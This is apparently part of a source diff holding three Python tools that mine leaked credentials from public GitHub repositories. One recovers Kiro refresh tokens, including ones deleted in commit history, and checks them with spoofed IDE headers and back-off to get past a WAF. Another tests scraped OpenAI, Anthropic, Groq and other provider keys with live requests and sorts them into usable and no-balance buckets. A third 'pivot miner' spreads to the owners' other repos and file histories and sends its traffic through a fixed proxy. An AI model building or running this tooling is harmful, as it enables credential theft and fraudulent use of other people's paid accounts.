|
||||
# misclassify a token as NO_ACCESS.
|
||||
import threading as _t
|
||||
global _verify_lock, _last_post
|
||||
try:
|
||||
_verify_lock
|
||||
except NameError:
|
||||
_verify_lock=_t.Lock(); _last_post=0.0
|
||||
code=body=None
|
||||
for attempt in range(4):
|
||||
with _verify_lock:
|
||||
gap=time.time()-_last_post
|
||||
if gap<VERIFY_DELAY:
|
||||
time.sleep(VERIFY_DELAY-gap)
|
||||
_last_post=time.time()
|
||||
code,body=http_post(REFRESH_URL,{"refreshToken":rt},
|
||||
{"User-Agent":f"KiroIDE-1.6.0-{uuid.uuid4().hex[:16]}"})
|
||||
if code==403 and "<!DOCTYPE" in body:
|
||||
time.sleep(20*(attempt+1)) # back off from WAF
|
||||
continue
|
||||
break
|
||||
access=expires=None
|
||||
if code==200:
|
||||
try:
|
||||
j=json.loads(body)
|
||||
access=j.get("accessToken") or j.get("access_token")
|
||||
expires=j.get("expiresIn") or j.get("expires_in")
|
||||
except Exception: pass
|
||||
if access and do_chat:
|
||||
cc,cb=chat_probe(access)
|
||||
if cc==200: return "USABLE",f"refresh OK; chat 200; exp={expires}",access
|
||||
if cc in (402,429): return "NO_BALANCE",f"refresh OK; chat {cc}: {cb[:100]}",access
|
||||
if cc==0: return "NO_ACCESS",f"refresh OK; chat net: {cb[:100]}",access
|
||||
return "NO_ACCESS",f"refresh OK; chat HTTP {cc}: {cb[:100]}",access
|
||||
return "USABLE" if access else "NO_ACCESS", f"refresh 200 no accessToken: {body[:100]}", access
|
||||
if code==401: return "DEAD", f"401 {body[:80]}", None
|
||||
if code in (402,429): return "NO_BALANCE", f"{code} {body[:100]}", None
|
||||
if code==0: return "UNKNOWN", body[:120], None
|
||||
return "NO_ACCESS", f"HTTP {code}: {body[:100]}", None
|
||||
|
||||
|
||||
def chat_probe(access):
|
||||
cid=str(uuid.uuid4()); aid=str(uuid.uuid4())
|
||||
body={"conversationState":{
|
||||
"agentContinuationId":aid,"agentTaskType":"vibe","chatTriggerType":"MANUAL",
|
||||
"conversationId":cid,
|
||||
"currentMessage":{"userInputMessage":{"content":"hi","modelId":"claude-haiku-4.5","origin":"AI_EDITOR"}},
|
||||
"history":[]}}
|
||||
headers={"x-amzn-codewhisperer-optout":"true","x-amzn-kiro-agent-mode":"vibe",
|
||||
"Authorization":f"Bearer {access}","Host":"q.us-east-1.amazonaws.com",
|
||||
"amz-sdk-invocation-id":str(uuid.uuid4()),"amz-sdk-request":"attempt=1; max=1",
|
||||
"User-Agent":f"aws-sdk-js/1.0.27 KiroIDE-1.6.0-{uuid.uuid4().hex[:16]}"}
|
||||
return http_post(CHAT_URL,body,headers,timeout=40)
|
||||
|
||||
|
||||
def main():
|
||||
ap=argparse.ArgumentParser()
|
||||
ap.add_argument("--verify-only",action="store_true")
|
||||
ap.add_argument("--workers",type=int,default=15)
|
||||
ap.add_argument("--scan-commits",action="store_true",
|
||||
help="Walk commit history of touched repos to find deleted tokens")
|
||||
ap.add_argument("--commit-pages",type=int,default=2)
|
||||
ap.add_argument("--commit-workers",type=int,default=12,
|
||||
help="Parallel repos for the commit-history scan")
|
||||
ap.add_argument("--chat",action="store_true",help="Do a live chat probe on usable tokens")
|
||||
args=ap.parse_args()
|
||||
|
||||
token=github_token()
|
||||
print(f"proxy={GH_PROXY} token={'yes' if token else 'no'} scan_commits={args.scan_commits}",flush=True)
|
||||
rts={} # refresh -> source
|
||||
|
||||
if args.verify_only:
|
||||
ef=RESULTS/"refresh_tokens.txt"
|
||||
if ef.exists():
|
||||
for line in ef.read_text().splitlines():
|
||||
if "|" in line:
|
||||
rt,src=line.split("|",1)
|
||||
rts[rt]=src
|
||||
print(f"verify-only: {len(rts)} tokens",flush=True)
|
||||
else:
|
||||
print("\n=== Stage 1: code search ===",flush=True)
|
||||
files={}
|
||||
for i,q in enumerate(QUERIES,1):
|
||||
print(f" [{i:2d}/{len(QUERIES)}] {q}",flush=True)
|
||||
try:
|
||||
for it in search_code(q,token):
|
||||
u=it.get("html_url","")
|
||||
if u: files[u]=it.get("repository",{}).get("full_name","?")
|
||||
except Exception as e:
|
||||
print(" err",e,file=sys.stderr)
|
||||
print(f" candidate files: {len(files)}",flush=True)
|
||||
|
||||
# extract from HEAD raw
|
||||
print("\n=== Stage 2a: HEAD raw extraction ===",flush=True)
|
||||
done=0
|
||||
repo_paths={} # repo -> set(paths)
|
||||
with ThreadPoolExecutor(max_workers=20) as pool:
|
||||
futs={pool.submit(fetch_raw,to_raw(u)):(u,repo) for u,repo in files.items()}
|
||||
for f in as_completed(futs):
|
||||
u,repo=futs[f]; done+=1
|
||||
# derive file path from html url: https://github.com/{repo}/blob/{branch}/{path}
|
||||
try:
|
||||
parts=u.split("/blob/",1)
|
||||
if len(parts)==2:
|
||||
path=parts[1].split("/",1)[1] # drop ref
|
||||
repo_paths.setdefault(repo,set()).add(path)
|
||||
except Exception:
|
||||
pass
|
||||
try: content=f.result()
|
||||
except Exception: content=""
|
||||
for rt in extract(content):
|
||||
rts.setdefault(rt,u)
|
||||
if done%200==0:
|
||||
print(f" {done}/{len(files)} tokens={len(rts)}",flush=True)
|
||||
nfiles=sum(len(v) for v in repo_paths.values())
|
||||
print(f" after HEAD: {len(rts)} refresh tokens; {len(repo_paths)} repos, {nfiles} tracked files",flush=True)
|
||||
|
||||
# durable checkpoint of HEAD tokens before the slow commit scan
|
||||
with open(RESULTS/"refresh_tokens.txt","w") as f:
|
||||
for rt,src in sorted(rts.items()):
|
||||
f.write(f"{rt}|{src}\n")
|
||||
|
||||
if args.scan_commits:
|
||||
print(f"\n=== Stage 2b: per-file commit-history scan (max {args.commit_pages} commits/file, {args.commit_workers} workers) ===",flush=True)
|
||||
repo_list=sorted(repo_paths)
|
||||
scanned=0; lock=__import__("threading").Lock()
|
||||
def _job(repo):
|
||||
return repo, scan_repo_commits(repo,repo_paths[repo],token,args.commit_pages)
|
||||
with ThreadPoolExecutor(max_workers=args.commit_workers) as pool:
|
||||
futs={pool.submit(_job,repo):repo for repo in repo_list}
|
||||
for f in as_completed(futs):
|
||||
repo=futs[f]; scanned+=1
|
||||
try:
|
||||
_,found=f.result()
|
||||
except Exception:
|
||||
found={}
|
||||
new=0
|
||||
if found:
|
||||
with lock:
|
||||
before=len(rts)
|
||||
for rt,src in found.items():
|
||||
rts.setdefault(rt,src)
|
||||
new=len(rts)-before
|
||||
if new:
|
||||
print(f" [{scanned}/{len(repo_list)}] {repo}: +{new} (total {len(rts)})",flush=True)
|
||||
if scanned%25==0:
|
||||
print(f" scanned {scanned}/{len(repo_list)} repos, tokens={len(rts)}",flush=True)
|
||||
with open(RESULTS/"refresh_tokens.txt","w") as f:
|
||||
for rt,src in sorted(rts.items()):
|
||||
f.write(f"{rt}|{src}\n")
|
||||
|
||||
with open(RESULTS/"refresh_tokens.txt","w") as f:
|
||||
for rt,src in sorted(rts.items()):
|
||||
f.write(f"{rt}|{src}\n")
|
||||
print(f" saved {len(rts)} tokens -> refresh_tokens.txt",flush=True)
|
||||
|
||||
print(f"\n=== Stage 3: verify {len(rts)} refresh tokens (workers={args.workers}) ===",flush=True)
|
||||
buckets={"USABLE":[],"NO_BALANCE":[],"NO_ACCESS":[],"UNKNOWN":[],"DEAD":[]}
|
||||
start=time.time(); done=0
|
||||
with ThreadPoolExecutor(max_workers=args.workers) as pool:
|
||||
futs={pool.submit(verify_rt,rt,args.chat):(rt,src) for rt,src in rts.items()}
|
||||
for f in as_completed(futs):
|
||||
rt,src=futs[f]; done+=1
|
||||
try: v,detail,access=f.result()
|
||||
except Exception as e: v,detail,access="UNKNOWN",f"exc:{e}",None
|
||||
buckets[v].append((rt,src,access,detail))
|
||||
if done%10==0:
|
||||
el=time.time()-start
|
||||
print(f" [{done:4d}/{len(rts)}] "+" ".join(f"{k.lower()}={len(buckets[k])}" for k in buckets)+f" ({done/el:.1f}/s)",flush=True)
|
||||
|
||||
for name,items in buckets.items():
|
||||
with open(RESULTS/f"{name.lower()}.txt","w") as f:
|
||||
for rt,src,access,detail in items:
|
||||
f.write(f"{rt}|{src}|access={access or ''}|{detail}\n")
|
||||
print(f" {name:11s}: {len(items):4d}",flush=True)
|
||||
with open(RESULTS/"all_non_401.txt","w") as f:
|
||||
for name in ("USABLE","NO_BALANCE","NO_ACCESS","UNKNOWN"):
|
||||
for rt,src,access,detail in buckets[name]:
|
||||
f.write(f"{name}|{rt}|{src}|access={access or ''}|{detail}\n")
|
||||
|
||||
if buckets["USABLE"]:
|
||||
print("\n=== USABLE KIRO TOKENS ===",flush=True)
|
||||
for rt,src,access,detail in buckets["USABLE"]:
|
||||
print(f" refresh: {rt[:45]}...{rt[-8:]}\n src: {src}\n {detail}\n",flush=True)
|
||||
|
||||
|
||||
if __name__=="__main__":
|
||||
main()
|
||||
@@ -0,0 +1,291 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Deep-verify the 'medium' providers in one pass.
|
||||
|
||||
Providers: Groq, TogetherAI, OpenAI, Anthropic, SiliconFlow,
|
||||
LingyiWanwu (01), StepFun.
|
||||
|
||||
For every key in results/extracted_keys.txt whose provider matches,
|
||||
we:
|
||||
1. Validate the key against the provider's documented regex.
|
||||
2. Send a cheap chat completion (or /models GET) request.
|
||||
3. Classify by the now-familiar rule: only 401 = DEAD; anything
|
||||
else (200 / 400 / 402 / 403 / 404 / 429 / 5xx) is kept.
|
||||
|
||||
Outputs per provider under results/medium/<Provider>/.
|
||||
"""
|
||||
|
||||
import argparse
|
||||
import json
|
||||
import re
|
||||
import sys
|
||||
import time
|
||||
import urllib.request
|
||||
import urllib.error
|
||||
from concurrent.futures import ThreadPoolExecutor, as_completed
|
||||
from pathlib import Path
|
||||
|
||||
HERE = Path(__file__).parent
|
||||
sys.path.insert(0, str(HERE))
|
||||
from verify_cache import CachedVerifier
|
||||
|
||||
SOURCE = HERE / "results" / "extracted_keys.txt"
|
||||
OUT_ROOT = HERE / "results" / "medium"
|
||||
OUT_ROOT.mkdir(parents=True, exist_ok=True)
|
||||
|
||||
UA = "curl/8.5.0"
|
||||
|
||||
# ── Provider configs ────────────────────────────────────────────
|
||||
# Each entry:
|
||||
# key_re : regex the full key must match (after provider tag)
|
||||
# fakes : substrings that mark a placeholder
|
||||
# requests : list of (name, method, path, headers, body) to try in order.
|
||||
# {key} is substituted; stop early once a better verdict found.
|
||||
def openai_like(base, model, key_header="Authorization", scheme="Bearer"):
|
||||
return [
|
||||
{
|
||||
"name": f"chat:{model}",
|
||||
"method": "POST",
|
||||
"url": f"{base}/v1/chat/completions",
|
||||
"headers": {key_header: f"{scheme} {{key}}", "Content-Type": "application/json"},
|
||||
"body": {"model": model, "messages": [{"role": "user", "content": "hi"}], "max_tokens": 1},
|
||||
},
|
||||
{
|
||||
"name": "models",
|
||||
"method": "GET",
|
||||
"url": f"{base}/v1/models",
|
||||
"headers": {key_header: f"{scheme} {{key}}"},
|
||||
"body": None,
|
||||
},
|
||||
]
|
||||
|
||||
|
||||
PROVIDERS = {
|
||||
"Groq": {
|
||||
"key_re": re.compile(r"^gsk_[A-Za-z0-9]{48,}$"),
|
||||
"fakes": ("your-", "example", "xxxx"),
|
||||
"requests": openai_like("https://api.groq.com", "llama-3.1-8b-instant"),
|
||||
},
|
||||
"TogetherAI": {
|
||||
"key_re": re.compile(r"^[0-9a-f]{64}$"),
|
||||
"fakes": ("0" * 64,),
|
||||
"requests": openai_like("https://api.together.xyz", "meta-llama/Llama-3.2-3B-Instruct-Turbo"),
|
||||
},
|
||||
"OpenAI": {
|
||||
# Real OpenAI keys: sk-... (48-ish chars) or sk-proj-... (longer).
|
||||
# We deliberately exclude keys that look like other providers'
|
||||
# (sk-ant handled separately, T3BlbkFJ is a classic OpenAI marker).
|
||||
"key_re": re.compile(r"^sk-(?:proj-[A-Za-z0-9_-]{20,}|[A-Za-z0-9]{48})$"),
|
||||
"fakes": ("your-", "example", "xxxx", "sk-000000"),
|
||||
"requests": openai_like("https://api.openai.com", "gpt-4o-mini"),
|
||||
},
|
||||
"Anthropic": {
|
||||
"key_re": re.compile(r"^sk-ant-[A-Za-z0-9_\-]{40,}$"),
|
||||
"fakes": ("your-", "example", "xxxx"),
|
||||
"requests": [
|
||||
{
|
||||
"name": "messages",
|
||||
"method": "POST",
|
||||
"url": "https://api.anthropic.com/v1/messages",
|
||||
"headers": {
|
||||
"x-api-key": "{key}",
|
||||
"anthropic-version": "2023-06-01",
|
||||
"Content-Type": "application/json",
|
||||
},
|
||||
"body": {"model": "claude-3-5-haiku-20241022",
|
||||
"messages": [{"role": "user", "content": "hi"}],
|
||||
"max_tokens": 1},
|
||||
},
|
||||
{
|
||||
"name": "models",
|
||||
"method": "GET",
|
||||
"url": "https://api.anthropic.com/v1/models",
|
||||
"headers": {"x-api-key": "{key}", "anthropic-version": "2023-06-01"},
|
||||
"body": None,
|
||||
},
|
||||
],
|
||||
},
|
||||
"SiliconFlow": {
|
||||
"key_re": re.compile(r"^sk-[a-zA-Z0-9]{40,}$"),
|
||||
"fakes": ("your-", "example", "xxxx"),
|
||||
"requests": openai_like("https://api.siliconflow.cn", "Qwen/Qwen2.5-7B-Instruct"),
|
||||
},
|
||||
"LingyiWanwu": {
|
||||
"key_re": re.compile(r"^sk-[a-zA-Z0-9]{40,}$"),
|
||||
"fakes": ("your-", "example", "xxxx"),
|
||||
"requests": openai_like("https://api.lingyiwanwu.com", "yi-large"),
|
||||
},
|
||||
"StepFun": {
|
||||
"key_re": re.compile(r"^sk-[a-zA-Z0-9]{40,}$"),
|
||||
"fakes": ("your-", "example", "xxxx"),
|
||||
"requests": openai_like("https://api.stepfun.com", "step-1-flash"),
|
||||
},
|
||||
}
|
||||
|
||||
RANK = {"USABLE": 4, "NO_BALANCE": 3, "NO_ACCESS": 2, "UNKNOWN": 1, "DEAD": 0}
|
||||
|
||||
|
||||
def http_request(method, url, headers, body, timeout=20):
|
||||
h = {"User-Agent": UA, "Accept": "*/*", **headers}
|
||||
data = json.dumps(body).encode() if body is not None else None
|
||||
req = urllib.request.Request(url, data=data, headers=h, method=method)
|
||||
try:
|
||||
with urllib.request.urlopen(req, timeout=timeout) as resp:
|
||||
return resp.getcode(), resp.read().decode("utf-8", errors="replace")
|
||||
except urllib.error.HTTPError as e:
|
||||
try:
|
||||
return e.code, e.read().decode("utf-8", errors="replace")
|
||||
except Exception:
|
||||
return e.code, ""
|
||||
except Exception as e:
|
||||
return 0, f"network: {type(e).__name__}: {e}"
|
||||
|
||||
|
||||
def classify(code, body):
|
||||
bl = (body or "").lower()
|
||||
if code == 200:
|
||||
if '"choices"' in bl or '"data"' in bl or '"id"' in bl:
|
||||
return "USABLE", "200 OK"
|
||||
if any(x in bl for x in ("balance", "quota", "arrearage", "insufficient")):
|
||||
return "NO_BALANCE", body[:140]
|
||||
return "USABLE", body[:140]
|
||||
if code in (402, 429):
|
||||
return "NO_BALANCE", f"HTTP {code}: {body[:140]}"
|
||||
if code == 401:
|
||||
return "DEAD", "401 unauthorized"
|
||||
if code == 0:
|
||||
return "UNKNOWN", body[:160]
|
||||
# 400 / 403 / 404 / 5xx — key may be valid, model/endpoint issue
|
||||
return "NO_ACCESS", f"HTTP {code}: {body[:140]}"
|
||||
|
||||
|
||||
def verify(provider, key):
|
||||
cfg = PROVIDERS[provider]
|
||||
best, best_detail = "DEAD", ""
|
||||
for req in cfg["requests"]:
|
||||
headers = {h: v.replace("{key}", key) for h, v in req["headers"].items()}
|
||||
code, body = http_request(req["method"], req["url"], headers, req["body"])
|
||||
v, d = classify(code, body)
|
||||
d = f"[{req['name']}] {d}"
|
||||
if RANK[v] > RANK[best]:
|
||||
best, best_detail = v, d
|
||||
if best == "USABLE":
|
||||
return best, best_detail
|
||||
return best, best_detail
|
||||
|
||||
|
||||
def load_keys(provider):
|
||||
cfg = PROVIDERS[provider]
|
||||
keys = {}
|
||||
if not SOURCE.exists():
|
||||
return keys
|
||||
with open(SOURCE) as f:
|
||||
for line in f:
|
||||
line = line.strip()
|
||||
if not line.startswith(f"{provider}|"):
|
||||
continue
|
||||
parts = line.split("|", 3)
|
||||
if len(parts) < 3:
|
||||
continue
|
||||
key = parts[1]
|
||||
url = parts[2] if len(parts) > 2 else ""
|
||||
low = key.lower()
|
||||
if any(x in low for x in cfg["fakes"]):
|
||||
continue
|
||||
if not cfg["key_re"].match(key):
|
||||
continue
|
||||
if key not in keys:
|
||||
keys[key] = url
|
||||
return keys
|
||||
|
||||
|
||||
def run_provider(provider, workers, limit, force_cache=False):
|
||||
keys = load_keys(provider)
|
||||
out_dir = OUT_ROOT / provider
|
||||
out_dir.mkdir(parents=True, exist_ok=True)
|
||||
print(f"\n=== {provider}: {len(keys)} unique keys matching regex ===")
|
||||
if limit:
|
||||
keys = dict(list(keys.items())[:limit])
|
||||
print(f" (limited to first {limit})")
|
||||
if not keys:
|
||||
return
|
||||
|
||||
buckets = {k: [] for k in RANK}
|
||||
start = time.time()
|
||||
processed = 0
|
||||
with CachedVerifier(f"medium_{provider.lower()}",
|
||||
lambda k, _p=provider: verify(_p, k),
|
||||
force=force_cache) as ver:
|
||||
with ThreadPoolExecutor(max_workers=workers) as pool:
|
||||
futs = {pool.submit(ver, k): (k, s) for k, s in keys.items()}
|
||||
for fut in as_completed(futs):
|
||||
k, s = futs[fut]
|
||||
processed += 1
|
||||
try:
|
||||
verdict, detail = fut.result()
|
||||
except Exception as e:
|
||||
verdict, detail = "UNKNOWN", str(e)
|
||||
buckets[verdict].append((k, s, detail))
|
||||
if processed % 50 == 0:
|
||||
el = time.time() - start
|
||||
print(f" [{processed}/{len(keys)}] "
|
||||
f"usable={len(buckets['USABLE'])} "
|
||||
f"nobal={len(buckets['NO_BALANCE'])} "
|
||||
f"noacc={len(buckets['NO_ACCESS'])} "
|
||||
f"unk={len(buckets['UNKNOWN'])} "
|
||||
f"dead={len(buckets['DEAD'])} "
|
||||
f"hit={ver.hits} live={ver.live} "
|
||||
f"({processed/el:.1f}/s)")
|
||||
print(f" cache: {ver.hits} hits, {ver.live} live, {len(ver._cache)} cached")
|
||||
|
||||
el = time.time() - start
|
||||
print(f" done in {el:.1f}s")
|
||||
for n in ("USABLE", "NO_BALANCE", "NO_ACCESS", "UNKNOWN", "DEAD"):
|
||||
print(f" {n:11s}: {len(buckets[n])}")
|
||||
|
||||
name_map = {
|
||||
"USABLE": "usable.txt",
|
||||
"NO_BALANCE": "no_balance.txt",
|
||||
"NO_ACCESS": "no_access.txt",
|
||||
"UNKNOWN": "unknown.txt",
|
||||
"DEAD": "dead.txt",
|
||||
}
|
||||
for n, fn in name_map.items():
|
||||
with open(out_dir / fn, "w") as f:
|
||||
for k, s, d in sorted(buckets[n]):
|
||||
f.write(f"{k}|{s}|{d}\n")
|
||||
with open(out_dir / "all_non_401.txt", "w") as f:
|
||||
for n in ("USABLE", "NO_BALANCE", "NO_ACCESS", "UNKNOWN"):
|
||||
for k, s, d in sorted(buckets[n]):
|
||||
f.write(f"{n}|{k}|{s}|{d}\n")
|
||||
|
||||
if buckets["USABLE"]:
|
||||
print(f" --- USABLE {provider} keys ---")
|
||||
for k, s, d in buckets["USABLE"][:30]:
|
||||
print(f" {k} {d[:80]}")
|
||||
print(f" src: {s}")
|
||||
|
||||
|
||||
def main():
|
||||
ap = argparse.ArgumentParser()
|
||||
ap.add_argument("--providers", default="all",
|
||||
help="Comma-separated list, or 'all'")
|
||||
ap.add_argument("--workers", type=int, default=15)
|
||||
ap.add_argument("--limit", type=int, default=0)
|
||||
ap.add_argument("--no-cache", action="store_true")
|
||||
args = ap.parse_args()
|
||||
|
||||
if args.providers == "all":
|
||||
providers = list(PROVIDERS.keys())
|
||||
else:
|
||||
providers = [p.strip() for p in args.providers.split(",") if p.strip() in PROVIDERS]
|
||||
unknown = [p for p in args.providers.split(",") if p.strip() not in PROVIDERS]
|
||||
if unknown:
|
||||
print(f"Unknown providers: {unknown}", file=sys.stderr)
|
||||
|
||||
print(f"Verifying: {', '.join(providers)}")
|
||||
for p in providers:
|
||||
run_provider(p, args.workers, args.limit, args.no_cache)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
@@ -0,0 +1,750 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Horizontal pivot miner.
|
||||
|
||||
From every known LEAKED key source (usable_keys/*/keys.json "source" URLs),
|
||||
pivot laterally to find MORE credentials:
|
||||
|
||||
Stage 1 Same repo -> pull the whole git tree, fetch high-value files
|
||||
(.env*, config, secrets, yaml, py, js, json, ...)
|
||||
and extract all known LLM key formats.
|
||||
Stage 2 Same owner -> list the owner's other public repos, fetch their
|
||||
root-level dotfiles/config/README, extract keys.
|
||||
Stage 3 Same file -> list commits touching the seed file, fetch each
|
||||
historical blob version, recover deleted keys.
|
||||
|
||||
All raw blob fetches are keyed by immutable (repo,path,sha) through
|
||||
ContentCache so unchanged files are never re-crawled.
|
||||
"""
|
||||
import argparse, json, os, re, subprocess, sys, time
|
||||
import urllib.request, urllib.error, urllib.parse
|
||||
from concurrent.futures import ThreadPoolExecutor, as_completed
|
||||
from pathlib import Path
|
||||
|
||||
sys.path.insert(0, str(Path(__file__).resolve().parent))
|
||||
from content_cache import ContentCache, parse_raw_url
|
||||
|
||||
HERE = Path(__file__).resolve().parent
|
||||
VAULT = HERE / "usable_keys"
|
||||
RESULTS = HERE / "results" / "pivot"
|
||||
RESULTS.mkdir(parents=True, exist_ok=True)
|
||||
CAND_FILE = RESULTS / "candidates.txt"
|
||||
CHECKPOINT = RESULTS / "candidates.checkpoint.json"
|
||||
|
||||
GH_PROXY = os.environ.get("GH_PROXY", "http://114.111.19.228:3389")
|
||||
UA = "Mozilla/5.0 key-hunter"
|
||||
|
||||
_gh = None
|
||||
def gh_opener():
|
||||
global _gh
|
||||
if _gh is None:
|
||||
if GH_PROXY:
|
||||
h = urllib.request.ProxyHandler({"http": GH_PROXY, "https": GH_PROXY})
|
||||
_gh = urllib.request.build_opener(h)
|
||||
else:
|
||||
_gh = urllib.request.build_opener()
|
||||
return _gh
|
||||
|
||||
_direct = None
|
||||
def direct_opener():
|
||||
global _direct
|
||||
if _direct is None:
|
||||
_direct = urllib.request.build_opener(urllib.request.ProxyHandler({}))
|
||||
return _direct
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# GitHub API helpers
|
||||
# ---------------------------------------------------------------------------
|
||||
def github_token():
|
||||
tok = os.environ.get("GITHUB_TOKEN") or os.environ.get("GH_TOKEN")
|
||||
if tok:
|
||||
return tok
|
||||
try:
|
||||
out = subprocess.run(["gh", "auth", "token"], capture_output=True,
|
||||
text=True, timeout=10)
|
||||
if out.returncode == 0:
|
||||
return out.stdout.strip()
|
||||
except FileNotFoundError:
|
||||
pass
|
||||
hosts = Path.home() / ".config" / "gh" / "hosts.yml"
|
||||
if hosts.exists():
|
||||
for line in hosts.read_text().splitlines():
|
||||
line = line.strip()
|
||||
if line.startswith("oauth_token:"):
|
||||
return line.split(":", 1)[1].strip()
|
||||
return None
|
||||
|
||||
def gh_api(url, token, wants_json=True):
|
||||
headers = {"Accept": "application/vnd.github+json", "User-Agent": "key-hunter"}
|
||||
if token:
|
||||
headers["Authorization"] = f"Bearer {token}"
|
||||
req = urllib.request.Request(url, headers=headers)
|
||||
for attempt in range(6):
|
||||
try:
|
||||
with gh_opener().open(req, timeout=30) as resp:
|
||||
raw = resp.read()
|
||||
return json.loads(raw) if wants_json else raw
|
||||
except urllib.error.HTTPError as e:
|
||||
if e.code in (403, 429):
|
||||
reset = e.headers.get("X-RateLimit-Reset")
|
||||
wait = max(int(reset) - int(time.time()), 5) if reset else 30
|
||||
print(f" rate-limited, waiting {wait}s...", file=sys.stderr)
|
||||
time.sleep(wait + 1)
|
||||
continue
|
||||
if e.code in (404, 451):
|
||||
return None
|
||||
try:
|
||||
e.read()
|
||||
except Exception:
|
||||
pass
|
||||
return None
|
||||
except Exception as e:
|
||||
print(f" network: {e}", file=sys.stderr)
|
||||
time.sleep(3)
|
||||
return None
|
||||
|
||||
def fetch_raw(url):
|
||||
req = urllib.request.Request(url, headers={"User-Agent": UA})
|
||||
try:
|
||||
with gh_opener().open(req, timeout=20) as resp:
|
||||
return resp.read().decode("utf-8", "replace")
|
||||
except Exception:
|
||||
return ""
|
||||
|
||||
def make_cached_fetch(cc, fetcher=fetch_raw):
|
||||
def cached(url):
|
||||
repo, sha, path = parse_raw_url(url)
|
||||
if repo and sha and path:
|
||||
txt = cc.get(repo, path, sha)
|
||||
if txt is not None:
|
||||
return txt
|
||||
txt = fetcher(url)
|
||||
if txt:
|
||||
cc.put(repo, path, sha, txt)
|
||||
return txt
|
||||
return fetcher(url)
|
||||
return cached
|
||||
|
||||
# raw.githubusercontent.com refuses a blob SHA as the ref (404); it needs a
|
||||
# branch/commit ref. So fetch by branch ref but key the cache on the immutable
|
||||
# blob SHA we already got from the tree/contents API.
|
||||
def fetch_blob(repo, path, blob_sha, branch, cc):
|
||||
if blob_sha and len(blob_sha) == 40:
|
||||
hit = cc.get(repo.lower(), path, blob_sha)
|
||||
if hit is not None:
|
||||
return hit
|
||||
ref = branch or "HEAD"
|
||||
txt = fetch_raw(
|
||||
f"https://raw.githubusercontent.com/{repo}/{ref}/{path}")
|
||||
if txt and blob_sha and len(blob_sha) == 40:
|
||||
cc.put(repo.lower(), path, blob_sha, txt)
|
||||
return txt
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Key format registry. Each pattern -> provider label + (scheme, host, path,
|
||||
# model, auth-header style). We extract ALL formats from every pivoted file.
|
||||
# Order matters: more specific prefixes first so sk-cp-/sk-sp-/sk-cx- are not
|
||||
# swallowed by a generic sk- pattern.
|
||||
# ---------------------------------------------------------------------------
|
||||
PROVIDERS = {}
|
||||
|
||||
def _reg(name, pattern, base, models=(), auth="Bearer",
|
||||
chat_path="/v1/chat/completions", context=None):
|
||||
PROVIDERS[name] = {
|
||||
"re": re.compile(pattern),
|
||||
"base": base,
|
||||
"models": models,
|
||||
"auth": auth,
|
||||
"chat_path": chat_path,
|
||||
"context": [c.lower() for c in context] if context else None,
|
||||
}
|
||||
|
||||
# Chinese coding plans / specialist
|
||||
_reg("mimo", r"sk-cx-[A-Za-z0-9]{48}", "https://api.xiaomimimo.com",
|
||||
models=("mimo-v2.5", "mimo-v2"), auth="Bearer")
|
||||
_reg("minimax", r"sk-cp-[A-Za-z0-9_\-]{130,}", "https://api.minimaxi.com",
|
||||
models=("MiniMax-M2.5", "abab6.5s-chat"))
|
||||
_reg("codingplan", r"sk-sp-[0-9a-fA-F]{32}", "https://coding.dashscope.aliyuncs.com",
|
||||
models=("qwen3-coder-plus", "qwen-coder-plus"))
|
||||
_reg("longcat", r"ak_[0-9A-Za-z]{29}", "https://api.longcat.chat",
|
||||
models=("LongCat-2.0-Chat", "LongCat-2.0"))
|
||||
_reg("zyloo", r"sk-zy-[0-9A-Za-z]{20,}", "https://api.zyloo.io",
|
||||
models=("Zyloo-1",))
|
||||
# Generic LLM keys
|
||||
_reg("deepseek", r"sk-[a-f0-9]{32}", "https://api.deepseek.com",
|
||||
models=("deepseek-chat",))
|
||||
_reg("dashscope", r"sk-[a-f0-9]{32}", "https://dashscope.aliyuncs.com",
|
||||
models=("qwen-plus",))
|
||||
_reg("moonshot", r"sk-[A-Za-z0-9]{40,60}", "https://api.moonshot.cn",
|
||||
models=("moonshot-v1-8k",))
|
||||
_reg("siliconflow",r"sk-[A-Za-z0-9]{48}", "https://api.siliconflow.cn",
|
||||
models=("deepseek-ai/DeepSeek-V3",))
|
||||
_reg("volcanoark", r"[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}",
|
||||
"https://ark.cn-beijing.volces.com",
|
||||
models=("doubao-seed-1-6-250615",),
|
||||
context=("ark_api_key", "volc_accesskey", "volc_secret",
|
||||
"api_key", "apikey", "authorization", "bearer",
|
||||
"ark.cn-beijing.volces.com/api/v3", "base_url"))
|
||||
_reg("xunfei", r"[0-9a-f]{32}",
|
||||
"https://maas-coding-api.cn-huabei-1.xf-yun.com",
|
||||
models=("xunfei-coding-plan",),
|
||||
context=("xf-yun.com", "xfyun", "xunfei", "iflytek",
|
||||
"spark-api", "maas-coding-api"))
|
||||
_reg("openai", r"sk-[A-Za-z0-9]{48,}", "https://api.openai.com",
|
||||
models=("gpt-4o-mini",))
|
||||
_reg("anthropic", r"sk-ant-[A-Za-z0-9_\-]{80,}", "https://api.anthropic.com",
|
||||
models=("claude-3-5-haiku-latest",), auth="x-api-key",
|
||||
chat_path="/v1/messages")
|
||||
_reg("groq", r"gsk_[A-Za-z0-9]{52}", "https://api.groq.com",
|
||||
models=("llama-3.1-8b-instant",))
|
||||
_reg("github_pat", r"gh[pousr]_[A-Za-z0-9]{36,}", "")
|
||||
_reg("openrouter", r"sk-or-v1-[0-9a-f]{64}", "https://openrouter.ai",
|
||||
models=("openai/gpt-4o-mini",))
|
||||
_reg("together", r"[0-9a-f]{64}",
|
||||
"https://api.together.xyz",
|
||||
models=("meta-llama/Llama-3.1-8B-Instruct-Turbo",),
|
||||
context=("together.xyz", "togetherai", "together_api",
|
||||
"TOGETHER_API_KEY"))
|
||||
|
||||
# dedup across providers: longest/most-prefixed match wins for a given span
|
||||
PREF_ORDER = ["mimo", "minimax", "codingplan", "longcat", "zyloo",
|
||||
"anthropic", "groq", "github_pat", "openrouter",
|
||||
"siliconflow", "moonshot", "openai",
|
||||
"deepseek", "dashscope", "xunfei", "volcanoark", "together"]
|
||||
|
||||
BLACKLIST = ("your-", "example", "placeholder", "test", "xxxx", "00000000",
|
||||
"1234567890abcdef", "changeme", "dummy", "fake", "redacted")
|
||||
|
||||
def looks_real(k):
|
||||
low = k.lower()
|
